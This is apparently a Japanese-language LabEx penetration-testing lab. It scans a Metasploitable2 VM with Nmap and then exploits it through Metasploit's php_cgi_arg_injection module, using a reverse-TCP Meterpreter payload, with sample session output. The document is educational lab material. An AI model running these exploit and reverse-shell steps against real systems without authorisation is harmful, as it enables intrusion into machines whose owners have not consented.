はじめに
この実験では、Kali Linux の様々なツールを使用して、ターゲットマシンに対する脆弱性スキャンとペネトレーションテストを行う方法を学びます。目的は、人気のある脆弱性スキャンツールを使った実践的な経験を積み、その結果を活用して成功したペネトレーション攻撃を行う方法を理解することです。この実験は LabEx プラットフォーム上で行われ、攻撃マシンとして Kali Linux コンテナが、ターゲットとして Metasploitable2 仮想マシンが提供されます。
環境のセットアップ
このステップでは、LabEx プラットフォーム上で Kali Linux コンテナと Metasploitable2 ターゲットマシンを起動します。
- LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2
ターゲットマシンが起動するまで待ちます。起動には 1 ~ 3 分かかる場合があります。
- ターゲットマシンに ping を送信して接続性をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
- 以下のコマンドを実行して Kali Linux コンテナを起動し、bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
- Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102
Ctrl+C を押して ping を停止します。
Nmap を使用した脆弱性スキャンの実行
このステップでは、Kali Linux に用意されている人気の脆弱性スキャンツールについて学びます。
X-scan:X-scan は中国で有名な総合的なスキャンツールです。完全に無料で、インストール不要で、グラフィカルインターフェイスとコマンドラインインターフェイスの両方を中国語と英語でサポートしています。X-scan は「Security Focus」という有名な中国のハッカーグループによって開発され、2000 年の内部テスト版 0.2 以来、絶えず改良されてきました。
Nessus:Nessus は世界で最も広く使用されている脆弱性スキャンおよび分析ソフトウェアの 1 つです。75,000 以上の組織が Nessus を使用してコンピュータシステムをスキャンしています。Nessus は 1998 年に Renaud Deraison によって作成され、インターネットコミュニティに対して、無料で強力で、頻繁に更新され、使いやすいリモートシステムセキュリティスキャンプログラムを提供することを目的としています。
SQLmap:SQLmap は自動 SQL インジェクションツールで、与えられた URL の SQL インジェクション脆弱性をスキャン、検出、および悪用することができます。現在、MS - SQL、MySQL、Oracle、および PostgreSQL データベースをサポートしています。SQLmap は 4 つの独自の SQL インジェクション手法を採用しています:ブラインド推論、UNION クエリ、スタックドクエリ、および時間ベースのブラインドインジェクション。
Nmap:Nmap は強力で汎用性の高いネットワーク探索およびセキュリティ監査ツールです。ネットワーク発見、ポートスキャン、および脆弱性検出など、様々な目的に使用できます。
ここでは、Nmap を使用して Metasploitable2 ターゲットマシンに対する脆弱性スキャンを実行します。
- Metasploit データベースサービスを起動し、データベースを初期化します。
cd ~
service postgresql start
msfdb init
- Metasploit コンソールを起動します。
msfconsole
- Metasploit コンソール内で、
nmapコマンドを使用してターゲットマシンをスキャンします。
nmap -sS -T4 192.168.122.102
以下は、あなたが見るかもしれない出力の例です。
[*] exec: nmap -sS -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 23:15 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds
-sS パラメータは TCP SYN スキャン(ハーフオープンまたはステルススキャンとも呼ばれる)を実行し、-T4 はタイミングポリシーを積極的に設定しますが、過度のネットワークトラフィックを避けるためにあまり速くはしません。
- スキャンの出力を確認します。出力には、ターゲットマシンの開いているポートとサービスが表示されるはずです。
Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します
脆弱性の悪用
このステップでは、Nmap スキャンで収集した情報を使って、Metasploitable2 ターゲットマシンの脆弱性を悪用します。
- まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
- Nmap スキャンの結果から、ターゲットマシンの開いているポートを特定します。たとえば、ポート 80 です。Metasploit コンソールで、開いているポートに関連するエクスプロイトモジュールを検索します。
search http
- 適切なエクスプロイトモジュールを使用します。
use exploit/multi/http/php_cgi_arg_injection
- ターゲットマシンの IP アドレスを設定します。
set RHOST 192.168.122.102
- 使用するペイロードを設定します。
set PAYLOAD php/meterpreter/reverse_tcp
- ローカルマシンの IP アドレスを設定します。
set LHOST 192.168.122.1
- エクスプロイトを実行します。
exploit
以下は、あなたが見るかもしれない出力の例です。
[*] Started reverse TCP handler on 192.168.122.1:4444
[*] Sending stage (39927 bytes) to 192.168.122.102
[*] Meterpreter session 1 opened (192.168.122.1:4444 -> 192.168.122.102:38510) at 2024-03-23 23:21:14 +0000
エクスプロイトが成功した場合、ターゲットマシンのシェルにアクセスできるはずです。
sysinfoなどのコマンドを実行してシステム情報を表示することで、アクセスを確認します。時間があれば、Nessus、SQLmap、または X - scan などの他の脆弱性スキャンツールを試してみることができます。また、Metasploitable2 ターゲットマシンの異なる脆弱性を悪用することも試みることができます。
Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します
まとめ
この実験では、ペネトレーションテスト用の Kali Linux 環境をセットアップする方法と、Nmap などの人気の脆弱性スキャンツールを使用してターゲットシステムの潜在的な脆弱性を特定する方法を学びました。また、Metasploit Framework を使用して脆弱性を悪用する実践的な経験も積みました。この実践的な知識は、サイバーセキュリティの分野における脆弱性スキャンとペネトレーションテストの重要性を理解するのに役立ちます。



